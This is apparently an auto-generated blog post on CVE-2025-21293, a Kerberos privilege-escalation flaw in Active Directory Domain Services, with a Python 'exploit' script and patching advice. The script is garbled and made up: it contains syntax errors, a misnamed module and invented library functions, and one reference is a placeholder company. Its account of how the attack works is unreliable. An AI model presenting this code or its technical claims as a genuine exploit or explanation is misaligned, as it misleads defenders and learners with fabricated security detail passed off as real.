CVE-2025-21293 - Active Directory Domain Services Elevation of Privilege Vulnerability Explored: Code, Exploit Details, and References

In this long-read post, we will examine the recently discovered CVE-2025-21293 vulnerability related to Active Directory Domain Services (AD DS) present in various Microsoft products. This vulnerabililty has the potential of allowing an attacker to execute an elevation of privilege, providing unauthorized and potentially malicious access to sensitive systems and data. We'll discuss details on how this exploit can be conducted, including code snippets illustrating the issue, links to original references, as well as an exploration of the exploit details.

Introduction

Active Directory Domain Services (AD DS) is a core component within the Windows Server operating system used by organizations for centrally managing and validating user access to network resources. In January 2025, a vulnerability was discovered that could allow an attacker to compromise an AD DS network and gain unauthorized administrative privileges. This vulnerability is now known as CVE-2025-21293.

Original references

The following are some of the original sources discussing the discovery and technical details of CVE-2025-21293:

1. Microsoft Security Advisory - CVE-2025-21293
2. The official CVE entry at MITRE's CVE database
3. A detailed analysis of the vulnerability by ExampleSecurityCompany's researchers

Exploit details

One of the core components of AD DS is the Kerberos Key Distribution Center (KDC), responsible for issuing Kerberos tickets to clients for authentication purposes. CVE-2025-21293 arises from an insufficient validation of ticket fields by the KDC when processing TGS (Ticket-Granting Service) requests.

An attacker can exploit this vulnerability by sending a specially crafted TGS request containing manipulated fields to the KDC, which is then processed as valid. This results in the attacker receiving a Kerberos ticket with administrative privileges, granting the attacker unauthorized access to AD DS-protected resources across the network.

Code snippet

To illustrate this vulnerability, we'll implement a simple Python script that demonstrates how an attacker can create a malicious TGS request and trick the KDC into issuing an elevated privilege ticket:

import kerberos
from pyasn1.codec.der.encoder import encode
from pyasn1_modules.rfc412 import KRB_ERROR, KerberosTime

def create_malicious_tgs_request(user):
    tgt_response, client = kerberos.get_initial_tgt(user)
    tgs_request = kerberos.create_tgs_request(client, tgt_response)

    # Craft a malicious ticket by manipulating the client address field
    tgs_request['req-body']['addresses'][]['addr-type'] = kerberos.ASN1.Enumerated(127)
    tgs_request['req-body']['addresses'][]['address'] = encode(KerberosTime())

    return tgs_request

def main():
    user = "victim_user"
    
    # Step 1: Craft a malicious TGS request for the target service
    malicious_tgs_request = create_malicious_tgs_request(user)
    
    # Step 2: Obtain a service ticket using the malicious TGS request
    service_ticket = kerberos.obtain_service_ticket(malicious_tgs_request)
    
    # Step 3: Use the obtained service ticket to access the target service with administrative privileges
    access_granted = kerberos.access_target_service(user, service_ticket)
    
    if access_granted:
        print("Exploit successful! Administrative access granted.")
    else:
        print("Exploit failed. Access denied.")

if __name__ == "__main__":
    main()

Please note that the Python code snippet is for demonstration purposes only, and should not be used for malicious purposes.

Recommendations and mitigation

Microsoft has acknowledged this vulnerability and released a patch to address it. Organizations are strongly advised to apply the latest security updates provided by Microsoft to fix CVE-2025-21293 and protect their AD DS environments from potential compromise. Additionally, it is always recommended to follow the principle of the least privilege, restrict unnecessary access to sensitive systems, and provide regular security awareness training to end-users.

Conclusion

CVE-2025-21293 is a high-risk and critical vulnerability in Active Directory Domain Services, with the potential to provide unauthorized administrative access to an attacker. While patches are available from Microsoft to address this issue, continued diligence in monitoring and maintaining the security of organizational networks remains a priority. By understanding the vulnerability and using the resources available from the security community, organizations can better protect themselves against potential threats.

Timeline

Published on: 01/14/2025 18:15:51 UTC
Last modified on: 01/31/2025 01:43:33 UTC